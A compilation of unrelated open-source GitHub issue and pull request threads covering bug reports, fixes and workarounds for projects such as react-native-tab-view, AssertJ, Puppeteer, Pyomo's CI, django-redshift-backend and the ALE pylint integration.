[x] Title is descriptive/clear for inclusion in release notes.
[ ] Applied a Component: xxx label.
[ ] Applied the api-deprecation or api-break label.
[ ] Applied the release-highlight label to be highlighted in release notes.
[ ] Added to the milestone version it was merged into.
[ ] Unittests are included in PR.
[ ] Properly documented, including versionadded, versionchanged as needed.

Can you change title to something simpler, like: "RecycleDataAdapter: Fixed typo in class docstring"?

Sure, let me do it right away.

Changed the title as per your suggestion. Let me know if anything else is needed to be done at my end.

@misl6 Can you approve and merge?


Exception thrown: A view can only be associated with  at most one view controller at a time

Environment
System:
    OS: macOS 11.5.1
    CPU: (4) x64 Intel(R) Core(TM) i5-8210Y CPU @ 1.60GHz
    Memory: 387.08 MB / 8.00 GB
    Shell: 5.8 - /bin/zsh
  Binaries:
    Node: 16.0.0 - /usr/local/bin/node
    Yarn: 1.22.10 - /usr/local/bin/yarn
    npm: 6.14.14 - ~/Documents/realnote_app/node_modules/.bin/npm
    Watchman: 4.9.0 - /usr/local/bin/watchman
  Managers:
    CocoaPods: 1.10.1 - /usr/local/bin/pod
  SDKs:
    iOS SDK:
      Platforms: iOS 14.5, DriverKit 20.4, macOS 11.3, tvOS 14.5, watchOS 7.4
    Android SDK:
      API Levels: 29, 30
      Build Tools: 29.0.2, 29.0.3, 30.0.2, 30.0.3
      System Images: android-29 | Intel x86 Atom_64, android-29 | Google APIs Intel x86 Atom, android-29 | Google Play Intel x86 Atom, android-30 | Google APIs Intel x86 Atom
      Android NDK: Not Found
  IDEs:
    Android Studio: 4.2 AI-202.76<IP_ADDRESS>22048
    Xcode: 12.5.1/12E507 - /usr/bin/xcodebuild
  Languages:
    Java: 1.8.0_292 - /usr/bin/javac
  npmPackages:
    @react-native-community/cli: Not Found
    react: 17.0.1 => 17.0.1
    react-native: 0.64.1 => 0.64.1
   react-native-pager-view: "^5.4.0"
   react-native-tab-view: "^3.1.1"
   react-native: "0.64.1"
   @sentry/react-native: "^3.0.3"

Description
Exception thrown while executing UI block: A view can only be associated with
at most one view controller at a time! View <RCTView: 0x10a6a73b0; reactTag: 395;
frame = (0 0; 0 0); clipsToBounds = YES; layer = <CALayer: 0x281e4e9a0>> is
associated with <UIViewController: 0x12051a470>. Clear this association before
associating this view with <UIViewController: 0x123522da0>.

I am using react-native-tab-view in my React Native app. Recently I added Sentry to my app, and Sentry catches this error whenever I mount a react-native-tab-view. I saw the same issue here. This occurs only on ios, android works perfectly fine. I should mention that this issue has nothing to do with Sentry. Removing the <TabView> fixes the issue.
Here you can see how I am using this:
function demo(props) {
  const [index, setIndex] = useState(0);
  const [routes] = useState([
    {key: 'hotNotes', title: 'Hot'},
    {key: 'surroundingNotes', title: 'Surroundings'},
  ])

  const renderScene = ({route}) => {
    switch (route.key) {
      case 'hotNotes':
        return <></>
      case 'surroundingNotes':
        return <></>
      default:
        return null;
    }
  }

  return (
      <TabView
          navigationState={{index, routes}}
          renderScene={renderScene}
          onIndexChange={setIndex}
      />
  )
}

Reproducible Demo

npx react-native init stupidProject
Add Sentry to your project via this
Use my code snippet above

You may know an easier way to catch this exception, in my case, Sentry is doing it, and it stops the app.

This fixes this issue.


extracting should throw a proper assertion error if actual is null

Summary
Based on https://github.com/assertj/assertj-core/issues/2392#issuecomment-961969975 and further comments, the implementation of extracting(Function, AssertFactory) and extracting(String, AssertFactory) in AbstractAssert should be improved to ensure that a preliminary isNotNull check is performed.
Example
The following assertions:
assertThatObject(null).extracting(Object::getClass);
assertThatObject(null).extracting("class");

should fail with:
java.lang.AssertionError:
Expecting actual not to be null

instead of failing with:
java.lang.NullPointerException
	at org.assertj.core.api.AbstractAssert.extracting(AbstractAssert.java:1016)
	at org.assertj.core.api.AbstractObjectAssert.extracting(AbstractObjectAssert.java:953)
	...

and:
java.lang.IllegalArgumentException: The object to extract property/field from should not be null
	at org.assertj.core.util.Preconditions.checkArgument(Preconditions.java:129)
	at org.assertj.core.util.introspection.PropertyOrFieldSupport.getValueOf(PropertyOrFieldSupport.java:49)
	at org.assertj.core.extractor.ByNameSingleExtractor.apply(ByNameSingleExtractor.java:29)
	at org.assertj.core.api.AbstractAssert.extracting(AbstractAssert.java:990)
	at org.assertj.core.api.AbstractObjectAssert.extracting(AbstractObjectAssert.java:834)
	...

respectively.

@bjhargrave as you used extracting in the past for custom assertions (https://github.com/assertj/assertj-core/pull/1781#issuecomment-588377368), do you see any issues if we add an isNotNull() call to the extracting implementations of AbstractAssert?

do you see any issues if we add an isNotNull() call to the extracting methods of AbstractAssert?

No. In all the cases were we use extracting in osgi-test, we have already called isNotNull directly or indirectly first.
For example: https://github.com/osgi/osgi-test/blob/659f5c7fe6c57cb194e3a511f1f4e726eceed166/org.osgi.test.assertj.framework/src/main/java/org/osgi/test/assertj/bundle/AbstractBundleAssert.java#L93-L96
cc: @kriegfrj

Thanks a lot for the feedback!

I concur with @bjhargrave.
I think it makes good sense to do the null check as part of extracting() as you won't be able to extract anything useful if actual is null (I remember having the fleeting thought that this feature should be added but wasn't able to sustain the thought long enough to make an issue report or PR about it! :smile:). As BJ said we are working around this in osgi-test by doing it manually, but it would some boilerplate for us (and for all users) if we didn't have to work around it.
While strictly speaking this is not a backward-compatible change, I think practically speaking it won't cause any compatibility issues because there aren't really any legitimate use cases for calling extracting() when you know that actual is null. Most code out there will either never test cases where actual might be null, or else will be (should be?) doing their own defensive checks like we are doing. So I think we are safe to make the change from a compatibility perspective.


Updated the link to the wikidata Wikiproject page

since it's been renamed on Wikidata

Thank you @Poslovitch! :rocket:


[Use Case]: Support the INSPIRE project's effort to link population health data to geospatial data

Background
Eight countries, 20 HDSS sites across Anglophone and Francophone Africa

HDSS sites go to household, collect residence data, demographics, death data, GPS coordinates
In some cases, have access to data collected at health facilities in the HDSS site catchment area

Iganga HDSS site in Uganda

Climate data from various weather stations across Africa (Hourly rain and temperature from satellite data)
Related to Malaria data collected from health facilities

Jim Todd's question

How are incidence of known risk factors for NCDs (diabetes, obesity) affected by drought or temperature in an area over time?
Does a drought occurring in this year affect the occurrence of NCDs in following years?

TODO

What does this kind of analysis involve?
How can we use the OHDSI toolchain to foster the completion of this analysis?

Depends on:
Datasets

[ ] #198
[ ] #271
Climate/Drought/Temperature

INSPIRE met with OHDSI GIS earlier this week. INSPIRE shared more about their HDSS.
Talked about demographic specs, "verbal autopsy" spec. A question is how can we tie environmental data to these person-centric specs... particular interest in malaria cases.

[ ] What kind of geocoding can we do with the available location information from this project

Contemplating a larger model that would subsume some of these specs.. is there a single spec that subsumes what is done in longitudinal research? STAR schema similar to I2B2? How would this be mapped into the OMOP model (visits, "waves", instruments) This will be explored in a workshop later this week. Hopefully settled on a schema by end of the week.
There is an existing method from moving I2B2 and moving it to OMOP... this might be leveraged or adapted to do some of that transformation work for this project.

RE Geocoding/Administrative areas/boundaries in countries in Africa:

I'm coming up to speed with this as well given some of my day-to-day. The short answer from me is that I don't have any/much experience with the address systems of most of these countries, except in passing (ie: I've seen them, but don't know quite how the systems work).
The data I'm more familiar with is the administrative area and community designations eg: Region > District or County > Sub-county; City / town / village / hamlet, etc etc. Most of the data I'm using here, because of its authoritative weight, is from the UN. OCHA maintains the common operational datasets (CODs) for population statistics and administrative boundaries that are pretty useful in that right, but sounds like this isn't what you're after.
Miles and our survey-oriented guys might have better ideas! Otherwise, I'd be at the whims of looking for a reverse geo-coding API and seeing how well it covers Africa, which is always a concern.

Also, still probably a little left-field if talking about geocoding in a more programmatic/accessible sense, Ghana at least has a well-documented national survey of households. You can scope out what the survey uses to ID households, though I'm not certain they record specific household location.
https://microdata.statsghana.gov.gh/index.php/catalog/110/data-dictionary/F9?file_name=defactopopn_10%_20220828d

Because we are working with sentry surveillance sites in a federated way, in most cases in our location table, we have longitudes and latitudes. However, that is not always the case. So we would like to do some geocoding in our use when they are missing used on the village in rural areas. We can provide the villages we want geocoded across several countries.
@kzollove, after consultation with Agnes, we want to include SDoH in our use case. More specific we want to include some UN SDG indicators that are to be determined. These indicators are availalble at the country and often at the district within country level across the continent. Using a technique called small area estimation which is actually a decision tree that includes many practices, we want to derive an SDG indicators dataset with place-based locations that re smaller than country districts. In effect we will be creating a "distribution" from a source dataset. To execute thus transformation we will want to follow the decision tree.
After talking with with Agnes we will be assigning a mathematician with GIS background  to derive the small area estimates.
I have an interest in the metadata we will use to describe a dataset that is derived from another dataset.

We have onboarded our statistician / mathematician who will be creating a catalog entry for social determinants of mental health (SDoMH) in as many as three East African countries.
As part of the onboarding process we have created a concept note for her to follow:
SDoMHs in Three East African Countries v2.pptx

	○ Next steps for incorporating SDG indicators for mental health at country and district level to make this work at community level using small area estimation.
	○ Add questionnaire data (with SDG indicators and other common variables that go back to the district and country SDGs) to protocol
	○ Will create some synthetic questionnaire data for some ongoing projects to test this
	○ SDGs are by UN and WHO
	○ Jay will give a timeline on this dataset in the future… do we want to capture the transformation of the district or country dataset into this community level dataset, in order to be FAIR… how do we do that capture
	○ Andrew: suggests RO-Crate for capturing transformation metadata


Could not find browser revision 809590

Puppeteer version: 5.4.1
Platform / OS version: windows x64 & linux x64
Node.js version: 15.0.1

With the above config, puppeteer reports
Could not find browser revision 809590
If I just downgrade it to 5.4.0, everything is fine.

I'm getting this on version 5.4.0 as well

same here in mac os 10.13.6
chrome 86.0.4240.111 (Official Build) (x86_64)
node 14.15.0
puppeteer/-core 5.4.1
setting PUPPETEER_SKIP_DOWNLOAD has no effect

My issue was on how I was setting the volumes on docker-compose. if I add
   volumes:
      -  ./:/app

It throws that error.
Hopefully it helps somebody.

Not an issue for me but it happens for my client

Current workaround is to manually set executablePath

A workaround that worked for me was to manually set the executable path using ENV in my dockerfile.
ENV PUPPETEER_EXECUTABLE_PATH="/usr/bin/google-chrome-stable".
Additionally, you might like the https://www.npmjs.com/package/chrome-launcher NPM package which also worked.

Same here...

A workaround that worked for me was to manually set the executable path using ENV in my dockerfile.
ENV PUPPETEER_EXECUTABLE_PATH="/usr/bin/google-chrome-stable".
Additionally, you might like the https://www.npmjs.com/package/chrome-launcher NPM package which also workead.

also solved use same method

Getting this error in my Ubuntu GitHub Actions CI pipeline

Try adding the following settings to package.json file.
  "config": {     "puppeteer_download_path": "./node_modules/puppeteer/.local-chromium"   }
In my Windows environment, the above code works.

i commented out this line in our .npmrc file
#puppeteer_skip_chromium_download=true
deleted node modules, reinstalled
worked fine

i commented out this line in our .npmrc file
#puppeteer_skip_chromium_download=true
deleted node modules, reinstalled
worked fine

Using node 12 to install backstop fixed the error with me.
It occurred when I switched back with nvm to node 10 and installed backstop. So I removed it and installed it globally under node 12.

Using node 12 to install backstop fixed the error with me.
It occurred when I switched back with nvm to node 10 and installed backstop. So I removed it and installed it globally under node 12.

Failed Attempts

delete and reinstall node modules folder
manually set executablePath as ~/Applications/Google\ Chrome.app

Successful Attempt

used Puppeteer official Chromium version manager browserFetcher

Create browser instance as follows:
const puppeteer = require('puppeteer');
.
.
.
const browserFetcher = puppeteer.createBrowserFetcher();
const revisionInfo = await browserFetcher.download("some-chromium-version");
const browser = await puppeteer.launch({
  executablePath: revisionInfo.executablePath
});

Puppeteer Documentation on browserFetcher
Similar Issue on StackOverflow

So much for drop in replacement. Same issue here on the mac

In my case, the solution seems to be just upgrading from Puppeteer v5.4.1 to v9.0.0. That seems to fix it.  No need to download a specific Chromium and specify the executablePath.

Try adding the following settings to package.json file.
 "config": { "puppeteer_download_path": "./node_modules/puppeteer/.local-chromium" }
In my Windows environment, the above code works.

This worked for me! thanks!

I was recently updating the puppeteer from 1.x to the latest one version by another.
Observations:

This issue arises in 6.0.0 and consists till 7.0.0
The chrome version was 103.x
When upgraded to 8.0.0 I also updated Chrome to latest 104.x

The issue is no more for me.


hideVolumeBar is broken

If i want to force the hideVolumeBar parameter to true, it has no effect and the volume control is still visible. I've tested it on chrome and firefox.

thanks @irongomme I rewrite the title, if you don't mind. Because it seems that this not a problem only for hls.

hideVolumeBar true has no effect on live hls

hideVolumeBar is broken

Just pushed a fix for the parameter handling. Let's keep in mind that this option doesn't remove the volume control from the interface, only hides/collapses the volume bar keeping only the volume/mute icon.


test.py not working with my robot

Hi, I'm trying to get test.py to work.
So far I changed the port to /dev/ttyAMA0 and am not getting any errors but nothing happens.
Here is the output:
`ubuntu@ubuntu:~/catkin_ws/src/mycobot_ros$ python test.py
Start check api
::get_angles()
==> degrees: []
::get_radians()
==> radians: []
::send_angles()
==> set angles [0,0,0,0,0,0], speed 80
Is moving: -1
::send_radians
==> set raidans [1,1,1,1,1,1], speed 70
::send_angle()
==> angle: joint2, degree: 10, speed: 50
::get_coords()
==> coords []
::send_coords()
==> send coords [160,160,160,0,0,0], speed 70, mode 0
-1
::send_coord()
==> send coord id: X, coord value: -40, speed: 70
::release_all_servos()
==> into free moving mode.
=== check end <==`
Any help is greatly appreciated!  Let me know if you need more details.

Hi, I'm doing some further troubleshooting.
RobotFlow_Mycobot program seems to work well and I'm able to connect and move the robot.
myblockly when I go to the tools I am not able to read the joints or move the robot:

when I load my studio there does not seem to be a robot connected.

Issue solved.  When defining MyCobot the code forgot to pass the baud rate.
This properly sets everything up:
port = "/dev/ttyAMA0"
baud = 1000000
mycobot = MyCobot(port, baud)


Add APAC-O11y-Workshop Org [US1] to SWIPE

Please add FA-6LDcA4AA - APAC-O11y-Workshop to SWIPE workshop management tool

Org added to source code. Release pending!


[client][internal] Fix tests related to PR#975

Summary, imperative, start upper case, don't end with a period

Fix tests failures due to #975
Extracting the test fixes from #987

How was this PR tested?
ran the failing tests locally in intellij and terminal
Does this PR introduce any user-facing changes?

[X] No. You can skip the rest of this section.
[ ] Yes. Make sure to explain your proposed changes and call out the behavior change.

As we discussed offline testSNQuotaNotEnabled is the trouble maker here together with the fact that the SN read quota flag is only set during setUp() which is only annotated with BeforeClass. We need to reset the flag after each test.

They were not failing in the previous tests because they are flaky, correct?

They were not failing in the previous tests because they are flaky, correct?

@adamxchen There is some flakiness around testSNQuotaNotEnabled depending on the order of execution of tests in the class.


Component Error Handler not working properly along with Error Page Handler

I am using Error Page Handler (EPH) along with Component Error Handler (CEH) in my project.
I have implemented both as given in the links [0] and [1]. However I am facing an issue with CEH.

When edit.enabled is set to true.  Its treating a non-existent page like http://localhost:4502/content/geometrixx/en/products/triangle/features123.html as 200 whereas http://localhost:4502/content/geometrixx/en/products/triangle123/features.html or http://localhost:4502/content/geometrixx/en/products/triangle123/features123.html gives me a 404.

For pages which are giving 200 although they are not present I am seeing the /apps/acs-commons/components/utilities/component-error-handler/edit.html as an output.

The problem is not there when edit.enabled is set to false. However setting edit.enabled = false defeats the purpose of CEH.
Environment: Windows, Java 1.7, AEM 6.1
[0] - http://adobe-consulting-services.github.io/acs-aem-commons/features/errorpagehandler.html
[1] - http://adobe-consulting-services.github.io/acs-aem-commons/features/component-error-handler.html

The issue is resolved with the fix provided by you. Thanks a lot!
Built using version 2.0.2.


Fish 3.6.0 and abbr

:wave:
I've fixed this on my fork, but abbrs are no longer stored in global variables
From the current release notes:
https://fishshell.com/docs/current/relnotes.html#deprecations-and-removed-features
Abbreviations are no longer stored in universal variables. Existing universal abbreviations are still imported, but new abbreviations should be added to config.fish.

saw the breaking change and forgot to actually fix things up, thanks for reporting!


NO-TICKET - Fix onBackPressed behavior in whole app

you can check it by checkout develop and trying to press system back on sign in screen

you can check it by checkout develop and trying to press system back on sign in screen

did you checked all other places that they are not broken ?

@1sakov will fix in another PR


Performance metric chart needs area charts to be in a stack

Closes: #2090
Description

Makes the following changes:

Model metrics and server metrics HTTP requests charts are now stacks
Fixes a bug with stack charts where the domain is truncated
Changes the colour scheme away from red / green to avoid a11y issues

How Has This Been Tested?

Check the HTTP charts for server and model metrics ensuring they are now a stack (i.e. successful and failed requests add up to a total value, so if there are 5 failed requests and 5 successful requests at the same time, the total on the graph should be 10 at that point).

Test Impact

Area is not yet tested so no impact.
Request review criteria:

Self checklist (all need to be checked):

[x] The developer has manually tested the changes and verified that the changes work
[x] Commits have been squashed into descriptive, self-contained units of work (e.g. 'WIP' and 'Implements feedback' style messages have been removed)
[x] Testing instructions have been added in the PR body (for PRs involving changes that are not immediately obvious).
[x] The developer has added tests or explained why testing cannot be added (unit tests & storybook for related changes)

If you have UI changes:

[x] Included any necessary screenshots or gifs if it was a UI change.
[x] Included tags to the UX team if it was a UI/UX change (find relevant UX in the SMEs section).

After the PR is posted & before it merges:

[ ] The developer has tested their solution on a cluster by using the image produced by the PR to main

@vconzola is this OK for the "stack" issue (I'll take care of the x100 part in another ticket). I've changed the colour scheme  from green / red to one of the standard ones for a11y.

Yes, it looks good to me now. Wrt accessibility, if we want to go back to the red/green paradigm there's a way to do it and keep it accessible. I talked to one of the PF devs and he suggested just applying a pattern to one of the graphs (probably successes). This would make the two graphs distinguishable with the user being able to see a color difference.

Thanks @vconzola, if we decide that's the route we want to go down it's a fairly straightforward change from my end


Do not display removed submissions on leaderboards

Changes proposed in the pull request:

Removed submissions are not shown on public leaderboards
Removed submissions on the team page are marked with a 'Removed'
A new unit test added

@AppraiseDev/core-team

Merged with my change. Thank you, @snukky!


Python 3 syntax upgrade

Now that OTIO has dropped support for Python 2, we could upgrade a bunch of the Python code to more modern syntax. There is an automated tool (maybe others too) which makes this very easy. https://github.com/asottile/pyupgrade
Note: We should probably wait until after #1386 is done to avoid complicating the landing of the extract_adapters branch.

If I'm not mistaken, we ran it when we removed py2 from the codebase. Am I right @ssteinbach ?

Oh, you're right we did this already! I was looking at something old by mistake.

ah ok. We could probably use the occasion to run it in CI of it's fast enough. That would allow us to enforce f-strings, etc.


gestalt init errors with no such file or directory

I've installed gestalt-cli globally with sudo npm install --global gestalt-cli.    I then ran gestalt init blogs.  After the packages are installed, it fails here:
Copying files...
gestalt init failed with the error: { Error: ENOENT: no such file or directory, open '/usr/lib/node_modules/gestalt-cli/template/objects/Session.js'
  errno: -2,
  code: 'ENOENT',
  syscall: 'open',
  path: '/usr/lib/node_modules/gestalt-cli/template/objects/Session.js' }
(node:25464) UnhandledPromiseRejectionWarning: Unhandled promise rejection (rejection id: 1): Error: ENOENT: no such file or directory, open '/usr/lib/node_modules/gestalt-cli/template/objects/Session.js'
(node:25464) DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

I notice that I don't have the file that it is complaining about but I do have the same file with a lowercase s, ie.: /usr/lib/node_modules/gestalt-cli/template/objects/session.js does exist.

A quick investigation reveals this might be the problem:
Line 96 in /packages/gestalt-cli/src/init.js says 'objects/Session.js',
However this file is named with a capital 'S':
/packages/gestalt-cli/template/objects/session.js.
Just seems bizarre to me that I should be the first person to have this problem since neither file has changed in months.

Peter - thanks again for catching this!


Runner Version Update for Ubuntu causes conda stalling

Description
The default runner version updated from 2.289.1 -> 2.289.2 sometime in the last few days. After the update, any of our actions which utilize conda/miniconda + ubuntu are stalling. These jobs had no issue before, but something about the new environment causes conda to stall forever (with no useful errors), eventually failing due to job timeout limits.
Previously passing action: https://github.com/Pyomo/pyomo/runs/5859040336?check_suite_focus=true
Now failing action: https://github.com/Pyomo/pyomo/runs/5859238370?check_suite_focus=true
I have also reported this issue to conda (Issue 11401)
Virtual environments affected

[X] Ubuntu 18.04
[X] Ubuntu 20.04
[ ] macOS 10.15
[ ] macOS 11
[ ] macOS 12
[ ] Windows Server 2019
[ ] Windows Server 2022

Image version and build link
Current runner version: '2.289.2'
Operating System
  Ubuntu
  20.04.4
  LTS
Virtual Environment
  Environment: ubuntu-20.04
  Version: 20220330.0
  Included Software: https://github.com/actions/virtual-environments/blob/ubuntu20/20220330.0/images/linux/Ubuntu2004-Readme.md
  Image Release: https://github.com/actions/virtual-environments/releases/tag/ubuntu20%2F20220330.0
Virtual Environment Provisioner
  <IP_ADDRESS>-main-20220325-1

Is it regression?
2.289.1 (Link provided in description)
Expected behavior
Conda installations should still work - or at least error more helpfully (though that is likely a request for the conda side).
Actual behavior
Conda installations do not work and seemingly stall/get stuck forever.
Repro steps
Set up a job using either ubuntu-latest or ubuntu-18.04 and utilize the following options:
os: ubuntu-18.04
python: 3.9
PYENV: conda

Then set up conda:
    - name: Set up Miniconda Python ${{ matrix.python }}
      if: matrix.PYENV == 'conda'
      uses: conda-incubator/setup-miniconda@v2
      with:
        auto-update-conda: true
        python-version: ${{ matrix.python }}

Then try to install anything using conda:
$ conda install -q -y -c conda-forge wheel mpi4py openmpi  ply coverage pytest pytest-parallel parameterized pybind11 Sphinx>2 sphinx-copybutton sphinx_rtd_theme>0.5 sphinxcontrib-jsmath sphinxcontrib-napoleon numpy dill ipython matplotlib networkx numpy openpyxl pint python-louvain pyyaml sympy xlrd casadi numdifftools pandas scipy seaborn

Collecting package metadata (current_repodata.json): ...working... done
Solving environment: ...working... failed with initial frozen solve. Retrying with flexible solve.
Solving environment: ...working... failed with repodata from current_repodata.json, will retry with next repodata source.
Collecting package metadata (repodata.json): ...working... done

Just an additional note, @al-cheb - I tried to install a much smaller list of packages (wheel by itself, for example - an extremely common package) and still ran into the issue. So no need for a complex or long list of packages.

@mrmundt,
I created a simple workflow:
    runs-on: ubuntu-latest
    steps:
      - name: Set up Miniconda Python 3.9
        uses: conda-incubator/setup-miniconda@v2
        with:
          auto-update-conda: true
          python-version: 3.9
      - run: |
          conda install -q -y -c conda-forge wheel

Thanks, @al-cheb ! Question for my own future reference: how did you get the error message to show up? On our jobs, it never printed anything and just eventually cancelled due to timeouts.

Thanks, @al-cheb ! Question for my own future reference: how did you get the error message to show up? On our jobs, it never printed anything and just eventually cancelled due to timeouts.

I tried to debug with the short list of pkgs that's why I was able to get that error.

@mrmundt Closing issue since nothing else is needed from our side.


Database inspection capability - fixes #13

Subject: Get inspectdb working
Feature or Bugfix

Bugfix

Purpose

Implement database inspection methods necessary for inspectdb management command to work.

Redshift is based on PostgreSQL 8.x, but Django supports PostgreSQL >= 9.4, so some of the more modern features of PostgreSQL such as unnest and array_agg are not available in Redshift. Django uses some of these in the postgres backend introspection methods, so different implementations were needed to retrieve the same information from a Redshift database.

Allow use with django-sql-explorer, which uses get_table_description to provide its schema view.

This has been broken since Django 3.2 introduced support for collations in the postgres backend. Relevant commit
Detail
Implementation of the changes needed for get_table_description was straightforward, and involved removing the join to the pg_collation table from the SQL.
The changes required to get_constraints, used by inspectdb, were more complex. The postgres version uses unnest, but there is no good substitute for this function in Redshift.
Rather than attempting to build an overly complex query to achieve the same output as the postgres backend, a second query is made to the pg_attribute table and the join made in python. This is done twice within the get_constraints method, once for constraints and again for indexes.
These changes are difficult to write tests for, as the current test suite does not assume a connection to a Redshift cluster, and using a database cursor in a test requires a working database (pytest will enforce use of a db fixture).
The tests as written mock the cursor, but this has the disadvantage of having to hard code expected SQL and return values, which leaves the tests very brittle.
I have not attempted to implement the orders, type, definition, or options fields within get_constraints. I don't know where these are used or if they're necessary.
Relates

#13

Thank you for your PR!
I'll take a look in  a week (or around new year holiday)

It might also be worth adding supports_collation_on_charfield = False and supports_collation_on_textfield = False to the DatabaseFeatures class, but I haven't looked into this enough to discover what it affects or how to test it.
From https://docs.djangoproject.com/en/4.0/releases/3.2/#database-backend-api

Third-party database backends must implement support for column database collations on CharFields and TextFields or set DatabaseFeatures.supports_collation_on_charfield and DatabaseFeatures.supports_collation_on_textfield to False. If non-deterministic collations are not supported, set supports_non_deterministic_collations to False.

These changes are difficult to write tests for, as the current test suite does not assume a connection to a Redshift cluster, and using a database cursor in a test requires a working database (pytest will enforce use of a db fixture).
The tests as written mock the cursor, but this has the disadvantage of having to hard code expected SQL and return values, which leaves the tests very brittle.

Yes, it is currently difficult to provide a connection to Redshift for automated testing.
As an alternative, I have set up postgres on GitHub Actions so that we can do a simple test on #93.
I don't think it works for this case yet, but I hope to make it work with postgres in the future.
Anyway, thanks to this PR, we can now use inspectdb with django-redshift-backend, and I've prepared a project showcase in the examples directory, so I'll provide django-sql-explorer case later.
Thanks for your awesome contribution!

As an alternative, I have set up postgres on GitHub Actions so that we can do a simple test on #93.
I don't think it works for this case yet, but I hope to make it work with postgres in the future.

done by #95 ;)

It has been released https://pypi.org/project/django-redshift-backend/3.0.0/


Can NOT reproduce results on MOT20

Hello, I'm trying to reproduce results on MOT20, but I got a 5 points drop using the default hyper-parameter from MOT17. Can you provide the training script on MOT20?

Hello, have you reproduced the mot20? I also encountered this problem, and the accuracy has dropped a lot after reproduction. If you reproduce successfully, would it be convenient to send your parameters? Thank you very much.


VSGAN does not return a clip

clip = vs.core.resize.Bicubic(clip, width=848, height=480, format=vs.RGBS, matrix_in_s='709')
clip = VSGAN(clip, device="cuda").load_model("model.pth").run(overlap=16)
clip = vs.core.resize.Bicubic(clip, format=vs.YUV420P8, matrix_s="709")

vapoursynth.Error: Bicubic: argument clip was passed an unsupported type (expected vnode compatible type but got VSGAN)

https://github.com/rlaphoenix/VSGAN/blob/3a894f3f7cf2e0ea1dca834d4234f1a9087762e3/vsgan/__init__.py#L113
Change this to return self.clip, to return the clip and it will work again.

Doing return self.clip won't work as we will not then be able to access the other functions of VSGAN class.
Your mistake is not doing a .clip at the end of the call, after .run(...)

Seems like i overlooked .clip and this would be a workaround to fix that. Thanks.


Update to Localized Strings

Fixes #.
Description of the changes:
Update to localized strings
How changes were validated:

/azp run


Contract death strategies

See NaturalDeath section in http://vessenes.com/we-need-some-best-practices-for-smart-contracts/

Related: Setting Standards for Altering and Undoing Smart Contracts

We now have contracts that help with closing, finishing or destructing:

[https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/lifecycle/Destructible.sol](Destructible]
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/lifecycle/TokenDestructible.sol
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/distribution/FinalizableCrowdsale.sol
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/validation/CappedCrowdsale.sol
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.9.0/contracts/crowdsale/validation/TimedCrowdsale.sol

There are probably more strategies to explore, but I think we can close this issue and open new individual ones for new strategies as they appear.


pylint import problem with modules in the same folder

I'm seeing a weird error being reported by pylint only running through ale.
As a MWE, I create in an empty folder two files, a.py and b.py and I import a in b.py, as shown in the screenshot.

As you can see, pylint complains that it cannot import a, but if I run it on the command line there is no problem:
[[temp shell]][22:53]/var/folders/d7/836zgpqn22q8v_tr90hvm9m40000gn/T/tmp.3195.2414.11604.10112$ pylint b.py
************* Module b
C:  3, 0: Final newline missing (missing-final-newline)
C:  1, 0: Missing module docstring (missing-docstring)

I was wondering if this is just me, or maybe it's picking the wrong pylint (I cannot configure the executable path...).

It can't find module b because it doesn't know where the module is. We should possibly modify the command to include some directory in PYTHONPATH. The a.py text is being copied to a temporary file, and that temporary directory doesn't include b.py.

To leave this here, I found a workaround modifying the init-hook of.pylintrc:
init-hook='import sys; sys.path.append(".")'

However, some general solution would be desirable, of course.

The trick is in giving a good enough guess as to which directories to add to PYTHONPATH by default. Maybe the same directory the file is in and the top most directory with Python files in folders in it.

Using the VIRTUAL_ENV environment variable would handle 100% of my usecases. If this isn't present this would be handled by the system python path lookup anyway.

I guess VIRTUAL_ENV is included already? If I understand properly, the problem is that the current directory (implicitly included in the PYTHONPATH) changes for the linting and therefore the correct path is not copied over.

This is related to https://github.com/maralla/validator.vim/issues/56.
Basically it boils down to the fact that pylint expects to be run in the "correct" folder. I would say creating the tempfile in the same dir of the original file is the only solution, but it's very ugly...

That causes other problems, like leaving temporary files behind and the filename not matching the original file.

True... It's a hard problem.
On Thu, Dec 8, 2016 at 10:08 AM, w0rp<EMAIL_ADDRESS>wrote:

That causes other problems, like leaving temporary files behind and the
filename not matching the original file.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/w0rp/ale/issues/208#issuecomment-265689839, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAqA8JpdOEElVVreibyDMaM1rNc6WXAKks5rF8kNgaJpZM4LHK6E
.
{"api_version":"1.0","publisher":{"api_key":"
05dde50f1d1a384dd78767c55493e4bb","name":"GitHub"},"entity":
{"external_key":"github/w0rp/ale","title":"w0rp/ale","subtitle":"GitHub
repository","main_image_url":"https://cloud.githubusercontent.com/assets/
143418/17495839/a5054eac-5d88-11e6-95fc-7290892c7bb5.png","
avatar_image_url":"https://cloud.githubusercontent.com/
assets/143418/15842166/7c72db34-2c0b-11e6-9aed-b52498112777.png
","action":{"name":"Open in GitHub","url":"https://github.com/w0rp/ale
"}},"updates":{"snippets":[{"icon":"PERSON","message":"@w0rp in #208:
That causes other problems, like leaving temporary files behind and the
filename not matching the original file."}],"action":{"name":"View
Issue","url":"https://github.com/w0rp/ale/issues/208#
issuecomment-265689839"}}}

--
Dr. Albert Puig Navarro
SNSF Ambizione Fellow
Physik-Institut @ Universität Zürich
http://cern.ch/albert.puig

Following up on @apuignav's workaround, instead of editing each .pylintrc, adding this to ale_python_pylint_options worked fairly well for me:
let g:ale_python_pylint_options = "--init-hook='import sys; sys.path.append(\".\")'"

It still didn't pick up the relative imports, but it is recognizing modules in the same directory.

I have the same problem with relative imports
from . import mod
from ..pkg import mod2

It can't use PYTHONPATH to solve.

Now the pylint linter will check files on disk instead, so you will have to open files or save them, and import paths will be understood for more projects. The version of pylint from virtualenv directories, as long as they live in some directory above the file you're editing, will be used instead, unless you turn that option off with g:ale_python_pylint_use_global.

We might be able to check pylint files on the fly in the future if pylint get support for working with temporary files or input from stdin. See here: https://github.com/PyCQA/pylint/issues/1187

@w0rp it seems pylint does now have support for stdin. I haven't checked it is sufficient for your needs though I'm afraid.


Update 1359029.md

Amended to reflect support for MSIX started in 1806, but in-console conversion started in 1810. Also felt that the version of Windows 10 required for the reference machine should match the version stated in the MSIX wizard that appears when converting, rather than an Insider release.
